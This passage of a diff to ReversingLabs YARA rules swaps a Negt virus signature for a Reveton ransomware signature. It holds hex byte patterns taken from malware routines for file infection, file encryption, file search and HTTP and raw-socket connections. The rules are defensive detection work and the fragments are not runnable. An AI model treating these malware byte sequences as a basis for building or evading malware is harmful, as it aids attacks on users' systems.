?? ?? ?? ?? 83 C4 ?? 8B 85 ?? ?? + ?? ?? 83 F8 ?? 72 ?? 8D 48 ?? 8B C7 81 F9 ?? ?? ?? ?? 72 ?? 8B 7F ?? 83 C1 ?? 2B C7 + } + $remote_connection_p6 = { + 83 C0 ?? 83 F8 ?? 0F 87 ?? ?? ?? ?? 51 57 E8 ?? ?? ?? ?? 83 C4 ?? 8B 55 ?? 83 FA ?? + 72 ?? 8B 4D ?? 42 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 + F8 ?? 0F 87 ?? ?? ?? ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B 95 ?? ?? ?? ?? C7 45 ?? ?? + ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C6 45 ?? ?? 83 FA ?? 72 ?? 8B 8D ?? ?? ?? ?? 8D 14 55 + ?? ?? ?? ?? 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? + 0F 87 ?? ?? ?? ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B 55 ?? 33 C0 C7 85 ?? ?? ?? ?? ?? + ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 66 89 85 ?? ?? ?? ?? 83 FA ?? 72 ?? 8B 4D ?? + 42 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 77 ?? 52 + 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B 95 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? + ?? C6 45 ?? ?? 83 FA ?? 72 ?? 8B 8D ?? ?? ?? ?? 8D 14 55 ?? ?? ?? ?? 8B C1 81 FA ?? + ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 76 ?? FF 15 ?? ?? ?? ?? 52 + 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B 4D ?? 64 89 0D ?? ?? ?? ?? 59 5F 5E 5B 8B 4D ?? 33 CD + E8 ?? ?? ?? ?? 8B E5 5D C3 + } + $encrypt_files_p1 = { + FF 15 ?? ?? ?? ?? 83 7D ?? ?? 8D 55 ?? 8B 4D ?? 0F 43 55 ?? 03 CA 89 85 ?? ?? ?? ?? + 83 7D ?? ?? 8D 45 ?? 51 0F 43 45 ?? 51 50 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B F8 83 + 7F ?? ?? 72 ?? 8B 3F 8B 95 ?? ?? ?? ?? 83 FA ?? 72 ?? 8B 8D ?? ?? ?? ?? 8D 14 55 ?? + ?? ?? ?? 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 76 + ?? FF 15 ?? ?? ?? ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? 33 C0 C7 85 ?? ?? ?? ?? ?? ?? ?? + ?? 83 7D ?? ?? 8D 4D ?? 66 89 85 ?? ?? ?? ?? 0F 43 4D ?? 8B 45 ?? 03 C1 C7 85 ?? ?? + ?? ?? ?? ?? ?? ?? 83 7D ?? ?? 8D 4D ?? 0F 43 4D ?? 51 50 51 8D 8D ?? ?? ?? ?? E8 ?? + ?? ?? ?? 8B F0 83 7E ?? ?? 72 ?? 8B 36 8B 95 ?? ?? ?? ?? 83 FA ?? 72 ?? 8B 8D ?? ?? + ?? ?? 8D 14 55 ?? ?? ?? ?? 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 + C0 ?? 83 F8 ?? 76 ?? FF 15 ?? ?? ?? ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? 33 C0 C7 85 ?? + ?? ?? ?? ?? ?? ?? ?? 50 68 ?? ?? ?? ?? 6A ?? 50 6A ?? 68 ?? ?? ?? ?? 57 8B 3D ?? ?? + ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 66 89 85 ?? ?? ?? ?? FF D7 89 85 ?? ?? ?? ?? 83 + F8 ?? 0F 84 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 56 FF + D7 89 85 ?? ?? ?? ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C9 BA + } + $encrypt_files_p2 = { + 8D 40 ?? F7 E2 0F 90 C1 F7 D9 0B C8 51 E8 ?? ?? ?? ?? 83 3D ?? ?? ?? ?? ?? BA ?? ?? + ?? ?? 8B 0D ?? ?? ?? ?? 0F 43 15 ?? ?? ?? ?? 03 CA 89 85 ?? ?? ?? ?? 83 3D ?? ?? ?? + ?? ?? B8 ?? ?? ?? ?? 8B B5 ?? ?? ?? ?? 0F 43 05 ?? ?? ?? ?? 51 50 8B CE E8 ?? ?? ?? + ?? A1 ?? ?? ?? ?? 83 C4 ?? 33 C9 68 ?? ?? ?? ?? 6A ?? 56 66 89 0C 46 8D 85 ?? ?? ?? + ?? 51 50 FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 6A ?? FF B5 ?? + ?? ?? ?? FF 15 ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? 8B 55 ?? 83 FA ?? 72 ?? 8B 4D ?? 42 + 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 0F 87 ?? ?? + ?? ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B 55 ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? + ?? C6 45 ?? ?? 83 FA ?? 72 ?? 8B 4D ?? 42 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 + C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 77 ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B 55 ?? C7 45 ?? + ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C6 45 ?? ?? 83 FA ?? 0F 82 ?? ?? ?? ?? 8B 4D ?? 42 + 8B C1 81 FA ?? ?? ?? ?? 0F 82 ?? ?? ?? ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? + 0F 86 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 6A ?? 6A ?? 68 ?? ?? ?? ?? + FF B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 6A ?? FF B5 ?? ?? ?? ?? + 8D 45 ?? 50 FF B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 75 ?? FF 15 ?? ?? ?? ?? E9 ?? + ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 6A ?? FF B5 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF B5 ?? ?? ?? + ?? FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 6A ?? + 50 E8 ?? ?? ?? ?? 83 C4 ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 33 FF 33 F6 57 FF B5 ?? ?? + ?? ?? FF 15 ?? ?? ?? ?? 57 89 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? 8D + 85 ?? ?? ?? ?? 50 FF B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 0F 84 + } + $encrypt_files_p3 = { + 8B 85 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 03 F8 8D 85 ?? ?? ?? ?? 3B + BD ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 0F 44 F1 50 6A ?? 56 6A ?? FF B5 ?? ?? ?? ?? FF + 15 ?? ?? ?? ?? 85 C0 74 ?? 6A ?? 8D 85 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 50 + FF B5 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 74 + ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 6A ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 85 ?? ?? ?? + ?? 6A ?? 50 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? + B9 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 6A ?? FF B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? FF + B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? FF B5 ?? ?? ?? + ?? 8B 35 ?? ?? ?? ?? FF D6 FF B5 ?? ?? ?? ?? FF D6 C6 85 ?? ?? ?? ?? ?? E9 ?? ?? ?? + ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? 8A 85 ?? ?? ?? ?? 8B 4D ?? 64 89 0D ?? ?? ?? ?? 59 + 5F 5E 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C3 + } + $find_files = { + 55 8B EC 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? + 33 C5 89 45 ?? 56 57 50 8D 45 ?? 64 A3 ?? ?? ?? ?? 8B F9 89 BD ?? ?? ?? ?? 33 C0 89 + 85 ?? ?? ?? ?? 38 47 ?? 0F 85 ?? ?? ?? ?? 8B 07 8B 08 8D 85 ?? ?? ?? ?? 50 8D 49 ?? + E8 ?? ?? ?? ?? 83 38 ?? 0F 85 ?? ?? ?? ?? 83 7F ?? ?? 74 ?? 8B 07 8B 08 8D 85 ?? ?? + ?? ?? 50 8D 49 ?? E8 ?? ?? ?? ?? 83 38 ?? 0F 84 ?? ?? ?? ?? 8B 07 8D 8D ?? ?? ?? ?? + 8B 30 8D 46 ?? 50 E8 ?? ?? ?? ?? 8D 46 ?? C7 45 ?? ?? ?? ?? ?? 50 8D 8D ?? ?? ?? ?? + E8 ?? ?? ?? ?? 50 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? B8 ?? ?? ?? + ?? 8B 95 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 83 FA ?? 72 ?? 8B 8D ?? ?? ?? ?? 8D 14 55 ?? + ?? ?? ?? 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 76 + ?? FF 15 ?? ?? ?? ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? 33 C0 C7 85 ?? ?? ?? ?? ?? ?? ?? + ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 66 89 85 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8B 07 8B + 30 8B 46 ?? 8B 00 85 C0 74 ?? 8D 8D ?? ?? ?? ?? 51 50 8D 85 ?? ?? ?? ?? 50 FF 15 ?? + ?? ?? ?? 83 C4 ?? 66 83 38 ?? 75 ?? 8B 46 ?? FF 30 FF 15 ?? ?? ?? ?? 8B 46 ?? 83 C4 + ?? C7 00 ?? ?? ?? ?? EB ?? FF B5 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 8D + 4E ?? 50 E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 8D + 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? C6 45 ?? ?? 50 8D 8D ?? ?? ?? ?? E8 + ?? ?? ?? ?? C6 45 ?? ?? 81 7F ?? ?? ?? ?? ?? 8B 37 8B 36 75 ?? 68 ?? ?? ?? ?? FF 15 + ?? ?? ?? ?? 8B 46 ?? 89 85 ?? ?? ?? ?? 89 BD ?? ?? ?? ?? C6 45 ?? ?? 6A ?? C7 85 ?? + ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B F8 83 C4 ?? 8D 85 ?? ?? ?? ?? 8D 4F ?? 50 E8 } condition: - uint16( 0 ) == 0x5A4D and ( $mocket_body_1 at pe.entry_point ) and $mocket_body_2 and $mocket_body_3 + uint16( 0 ) == 0x5A4D and ( $find_files ) and ( all of ( $encrypt_files_p* ) ) and ( all of ( $remote_connection_p* ) ) } - -rule REVERSINGLABS_Win32_Virus_Negt : TC_DETECTION MALICIOUS MALWARE FILE +rule REVERSINGLABS_Win32_Ransomware_Reveton : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Yara rule that detects Negt virus." + description = "Yara rule that detects Reveton ransomware." author = "ReversingLabs" - id = "80e83105-dd98-5fad-9119-f851ec3199af" + id = "14446b94-cd57-5930-b0af-b21091b61f68" date = "2020-06-26" modified = "2020-07-15" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/virus/Win32.Virus.Negt.yara#L3-L94" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.Reveton.yara#L1-L118" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "43057ef111fc505678606386c8d428653da391f4b65844d81479ca05e3517346" + logic_hash = "2d316c558cdb5591788ef89c6e20327882a118f2928f4a31fb5b8b3083931ac5" score = 75 quality = 90 tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" category = "MALWARE" - tc_detection_type = "Virus" - tc_detection_name = "Negt" + tc_detection_type = "Ransomware" + tc_detection_name = "Reveton" tc_detection_factor = 5 importance = 25 strings: - $negt_body_and_infector_1 = { - 6A 00 E8 99 08 00 00 A3 ?? ?? ?? ?? 68 04 01 00 00 68 ?? ?? ?? ?? 6A 00 E8 7D 08 00 00 6A 00 68 ?? ?? ?? ?? 68 ?? ?? ?? - ?? E8 48 08 00 00 BB 00 00 00 00 8D 05 ?? ?? ?? ?? FE 00 68 ?? ?? ?? ?? E8 2D 00 00 00 43 83 FB 18 7C E8 E8 92 08 00 00 - 3C 9F 7F 17 6A 01 68 ?? ?? ?? ?? 6A 00 68 ?? ?? ?? ?? 6A 00 6A 00 E8 7D 08 00 00 6A 00 E8 10 08 00 00 55 8B EC 81 C4 B8 - FD FF FF FF 75 08 E8 35 08 00 00 0B C0 0F 84 C2 00 00 00 8D 85 C2 FE FF FF 50 68 ?? ?? ?? ?? E8 F2 07 00 00 89 85 BC FE - FF FF 83 BD BC FE FF FF FF 0F 84 9E 00 00 00 8D 9D EE FE FF FF 53 E8 21 08 00 00 8B F3 BB 00 00 00 00 F7 D3 68 ?? ?? ?? - ?? 56 E8 01 08 00 00 23 D8 68 ?? ?? ?? ?? 56 E8 F4 07 00 00 23 D8 68 ?? ?? ?? ?? 56 E8 E7 07 00 00 23 D8 68 ?? ?? ?? ?? - 56 E8 DA 07 00 00 23 D8 68 ?? ?? ?? ?? 56 E8 CD 07 00 00 23 D8 83 FB 00 74 28 FF 75 08 68 ?? ?? ?? ?? E8 BF 07 00 00 8D - 85 EE FE FF FF 50 68 ?? ?? ?? ?? E8 A2 07 00 00 68 ?? ?? ?? ?? E8 08 01 00 00 8D 85 C2 FE FF FF 50 FF B5 BC FE FF FF E8 - 50 07 00 00 83 F8 00 0F 85 62 FF FF FF FF B5 BC FE FF FF E8 30 07 00 00 8D 85 C2 FE FF FF 50 68 ?? ?? ?? ?? E8 25 07 00 - 00 89 85 BC FE FF FF 83 BD BC FE FF FF FF 0F 84 AF 00 00 00 8D BD C2 FE FF FF 8B 07 66 83 E0 10 0F 84 82 00 00 00 8D 9D + $http_connection_1 = { + C6 45 ?? ?? 6A ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 45 ?? 83 7D ?? + ?? 0F 84 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 8B C3 E8 ?? ?? ?? ?? 50 8B 45 + ?? 50 E8 ?? ?? ?? ?? 8B D8 85 DB 74 ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 45 ?? 33 C0 + 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 8B 06 E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 45 ?? 50 68 + ?? ?? ?? ?? 8B 45 ?? 50 53 E8 ?? ?? ?? ?? 8B 55 ?? 8B 06 8B 4D ?? E8 ?? ?? ?? ?? 83 + 7D ?? ?? 75 ?? 53 E8 ?? ?? ?? ?? 33 C0 5A 59 59 64 89 10 68 ?? ?? ?? ?? 8B 45 ?? E8 + ?? ?? ?? ?? C3 E9 ?? ?? ?? ?? EB ?? 8B 45 ?? 50 E8 } - $negt_body_and_infector_2 = { - EE FE FF FF 53 E8 42 07 00 00 8B F3 BB 00 00 00 00 F7 D3 68 ?? ?? ?? ?? 56 E8 22 07 00 00 23 D8 68 ?? ?? ?? ?? 56 E8 15 - 07 00 00 23 D8 68 ?? ?? ?? ?? 56 E8 08 07 00 00 23 D8 83 FB 00 74 41 FF 75 08 8D 85 B8 FD FF FF 50 E8 F8 06 00 00 8D 85 - EE FE FF FF 50 8D 85 B8 FD FF FF 50 E8 D9 06 00 00 68 ?? ?? ?? ?? 8D 85 B8 FD FF FF 50 E8 C8 06 00 00 60 8D 85 B8 FD FF - FF 50 E8 63 FE FF FF 61 8D 85 C2 FE FF FF 50 FF B5 BC FE FF FF E8 72 06 00 00 83 F8 00 0F 85 51 FF FF FF FF B5 BC FE FF - FF E8 52 06 00 00 C9 C2 04 00 55 8B EC 81 C4 E4 E9 FF FF 51 6A 00 68 80 00 00 00 6A 03 6A 00 6A 03 68 00 00 00 C0 FF 75 - 08 E8 1E 06 00 00 83 F8 FF 75 05 E9 AE 03 00 00 89 45 FC 6A 00 6A 00 6A 3C FF 75 FC E8 45 06 00 00 6A 00 8D 45 F0 50 6A - 04 8D 45 F4 50 FF 75 FC E8 25 06 00 00 6A 00 6A 00 FF 75 F4 FF 75 FC E8 22 06 00 00 6A 00 8D 45 F0 50 68 20 01 00 00 68 - ?? ?? ?? ?? FF 75 FC E8 FE 05 00 00 8B 5D F4 83 EB 0B 6A 00 6A 00 53 FF 75 FC E8 F7 05 00 00 6A 00 8D 45 F0 50 6A 0B 68 - ?? ?? ?? ?? FF 75 FC E8 D6 05 00 00 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 E5 05 00 00 0B C0 75 05 E9 12 03 00 00 81 3D ?? ?? - ?? ?? 50 45 00 00 74 05 E9 01 03 00 00 0F B7 05 ?? ?? ?? ?? B9 28 00 00 00 F7 E1 03 45 F4 83 C0 18 0F B7 0D ?? ?? ?? ?? - 03 C1 83 C0 28 3B 05 ?? ?? ?? ?? 76 05 E9 D4 02 00 00 A1 ?? ?? ?? ?? A3 ?? ?? ?? ?? A1 ?? ?? ?? ?? A3 ?? ?? ?? ?? 0F B7 + $raw_socket_connection_1_1 = { + 55 8B EC 81 C4 ?? ?? ?? ?? 53 56 57 33 C9 89 8D ?? ?? ?? ?? 89 8D ?? ?? ?? ?? 89 4D + ?? 89 55 ?? 8B F0 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 33 DB 8D 45 ?? BA ?? ?? + ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? + ?? ?? 8D 85 ?? ?? ?? ?? 50 56 E8 ?? ?? ?? ?? 8B F8 85 FF 0F 8E ?? ?? ?? ?? 8D 85 ?? + ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 8B CF E8 + ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 } - $negt_body_and_infector_3 = { - 05 ?? ?? ?? ?? B9 28 00 00 00 F7 E1 83 C0 04 03 45 F4 83 C0 14 05 E0 00 00 00 89 45 EC C7 05 ?? ?? ?? ?? 2E 45 41 54 C7 - 05 ?? ?? ?? ?? 55 02 00 00 FF 35 ?? ?? ?? ?? 8F 05 ?? ?? ?? ?? A1 ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? 99 F7 F1 40 F7 E1 A3 ?? - ?? ?? ?? 8B 45 EC 83 E8 18 6A 00 6A 00 50 FF 75 FC E8 10 05 00 00 6A 00 8D 45 F0 50 6A 04 8D 45 E8 50 FF 75 FC E8 F0 04 - 00 00 6A 00 8D 45 F0 50 6A 04 8D 45 E4 50 FF 75 FC E8 DC 04 00 00 8B 45 E8 03 45 E4 A3 ?? ?? ?? ?? C7 05 ?? ?? ?? ?? 00 - 00 00 00 C7 05 ?? ?? ?? ?? 00 00 00 00 66 C7 05 ?? ?? ?? ?? 00 00 66 C7 05 ?? ?? ?? ?? 00 00 C7 05 ?? ?? ?? ?? 20 00 00 - E0 6A 00 6A 00 FF 75 EC FF 75 FC E8 9E 04 00 00 6A 00 8D 45 F0 50 6A 28 68 ?? ?? ?? ?? FF 75 FC E8 8F 04 00 00 68 ?? ?? - ?? ?? E8 61 04 00 00 68 ?? ?? ?? ?? E8 63 04 00 00 A3 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? E8 48 04 00 00 A3 ?? - ?? ?? ?? 68 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? E8 33 04 00 00 A3 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? E8 1E 04 00 00 - A3 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? E8 09 04 00 00 A3 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? E8 F4 03 - 00 00 A3 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? E8 DF 03 00 00 A3 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? E8 - CA 03 00 00 A3 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? E8 B5 03 00 00 A3 ?? ?? ?? ?? 6A 02 6A 00 6A 00 FF 75 FC E8 - BA 03 00 00 6A 00 8D 45 F0 50 FF 35 ?? ?? ?? ?? 8D 05 ?? ?? ?? ?? 50 FF 75 FC E8 A5 03 00 00 66 FF 05 ?? ?? ?? ?? A1 ?? - ?? ?? ?? 8B 0D ?? ?? ?? ?? 99 F7 F1 40 F7 E1 03 05 ?? ?? ?? ?? A3 ?? ?? ?? ?? A1 ?? ?? ?? ?? A3 ?? ?? ?? ?? 6A 00 6A 00 + $raw_socket_connection_1_2 = { + C6 85 ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? 80 BD ?? ?? ?? ?? ?? 75 ?? 80 BD ?? ?? ?? + ?? ?? 74 ?? 33 C0 EB ?? B0 ?? 84 C0 75 ?? C6 85 ?? ?? ?? ?? ?? 8D 45 ?? E8 ?? ?? ?? + ?? 8D 95 ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 55 ?? 8B C6 E8 ?? ?? ?? ?? E9 + ?? ?? ?? ?? 8A 85 ?? ?? ?? ?? FE C8 0F 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? + ?? E8 ?? ?? ?? ?? 66 C7 85 ?? ?? ?? ?? ?? ?? 8A 85 ?? ?? ?? ?? FE C8 74 ?? 2C ?? 74 + ?? E9 ?? ?? ?? ?? 8A 85 ?? ?? ?? ?? 88 85 ?? ?? ?? ?? 8A 85 ?? ?? ?? ?? 88 85 ?? ?? + ?? ?? 8A 85 ?? ?? ?? ?? 88 85 ?? ?? ?? ?? 8A 85 ?? ?? ?? ?? 88 85 ?? ?? ?? ?? 8A 95 + ?? ?? ?? ?? 8A 85 ?? ?? ?? ?? E8 } - $negt_body_and_infector_4 = { - FF 75 F4 FF 75 FC E8 63 03 00 00 6A 00 8D 45 F0 50 68 F8 00 00 00 68 ?? ?? ?? ?? FF 75 FC E8 51 03 00 00 83 6D F4 0B 6A - 00 6A 00 FF 75 F4 FF 75 FC E8 38 03 00 00 6A 00 8D 45 F0 50 6A 0B 68 ?? ?? ?? ?? FF 75 FC E8 29 03 00 00 6A 00 6A 20 6A - 03 6A 00 6A 01 68 00 00 00 80 68 ?? ?? ?? ?? E8 C8 02 00 00 89 45 F8 6A 00 6A 00 6A 00 FF 75 F8 E8 F9 02 00 00 6A 00 8D - 45 F0 50 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF 75 F8 E8 D3 02 00 00 8B 75 F0 6A 02 6A 00 6A 00 FF 75 FC E8 CE 02 00 00 - 6A 00 8D 45 F0 50 56 8D 85 ?? ?? ?? ?? 50 FF 75 FC E8 BE 02 00 00 FF 75 FC E8 62 02 00 00 FF 75 F8 E8 5A 02 00 00 59 C9 - C2 04 00 E8 00 00 00 00 5D 81 ED ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 68 00 01 00 00 FF B5 ?? ?? ?? ?? 6A 00 - FF 95 ?? ?? ?? ?? 6A 00 6A 20 6A 03 6A 00 6A 01 68 00 00 00 80 FF B5 ?? ?? ?? ?? FF 95 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 6A - 00 6A 20 6A 02 6A 00 6A 03 68 00 00 00 C0 8D 85 ?? ?? ?? ?? 50 FF 95 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 6A 00 FF B5 ?? ?? ?? - ?? FF 95 ?? ?? ?? ?? 2D ?? ?? ?? ?? 6A 00 6A 00 50 FF B5 ?? ?? ?? ?? FF 95 ?? ?? ?? ?? 6A 00 8D 85 ?? ?? ?? ?? 50 68 00 - 01 00 00 FF B5 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? FF 95 ?? ?? ?? ?? 8B 9D ?? ?? ?? ?? 83 FB 00 74 1E 8D 85 ?? ?? ?? ?? 6A 00 - 50 53 FF B5 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? FF 95 ?? ?? ?? ?? EB B7 FF B5 ?? ?? ?? ?? FF 95 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? - FF 95 ?? ?? ?? ?? 6A 00 8D 85 ?? ?? ?? ?? 50 FF 95 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 03 85 ?? ?? ?? ?? 50 C3 + $raw_socket_connection_1_3 = { + 66 89 85 ?? ?? ?? ?? E9 ?? ?? ?? ?? 0F B6 BD ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 8D 85 + ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B CF + BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 85 + C0 75 ?? C6 85 ?? ?? ?? ?? ?? 8D 45 ?? E8 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? B9 ?? ?? ?? + ?? E8 ?? ?? ?? ?? 8B 55 ?? 8B C6 E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8B 40 ?? 8B 00 8B 00 + 89 85 ?? ?? ?? ?? 8A 94 3D ?? ?? ?? ?? 8A 84 3D ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 89 85 + ?? ?? ?? ?? EB ?? C6 85 ?? ?? ?? ?? ?? 8D 45 ?? E8 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? B9 + ?? ?? ?? ?? E8 } - $negt_infector = { - E8 00 00 00 00 5D 81 ED ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 68 00 01 00 00 FF B5 ?? ?? ?? ?? 6A 00 FF 95 ?? - ?? ?? ?? 6A 00 6A 20 6A 03 6A 00 6A 01 68 00 00 00 80 FF B5 ?? ?? ?? ?? FF 95 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 6A 00 6A 20 - 6A 02 6A 00 6A 03 68 00 00 00 C0 8D 85 ?? ?? ?? ?? 50 FF 95 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 6A 00 FF B5 ?? ?? ?? ?? FF 95 - ?? ?? ?? ?? 2D ?? ?? ?? ?? 6A 00 6A 00 50 FF B5 ?? ?? ?? ?? FF 95 ?? ?? ?? ?? 6A 00 8D 85 ?? ?? ?? ?? 50 68 00 01 00 00 - FF B5 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? FF 95 ?? ?? ?? ?? 8B 9D ?? ?? ?? ?? 83 FB 00 74 1E 8D 85 ?? ?? ?? ?? 6A 00 50 53 FF - B5 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? FF 95 ?? ?? ?? ?? EB B7 FF B5 ?? ?? ?? ?? FF 95 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? FF 95 ?? - ?? ?? ?? 6A 00 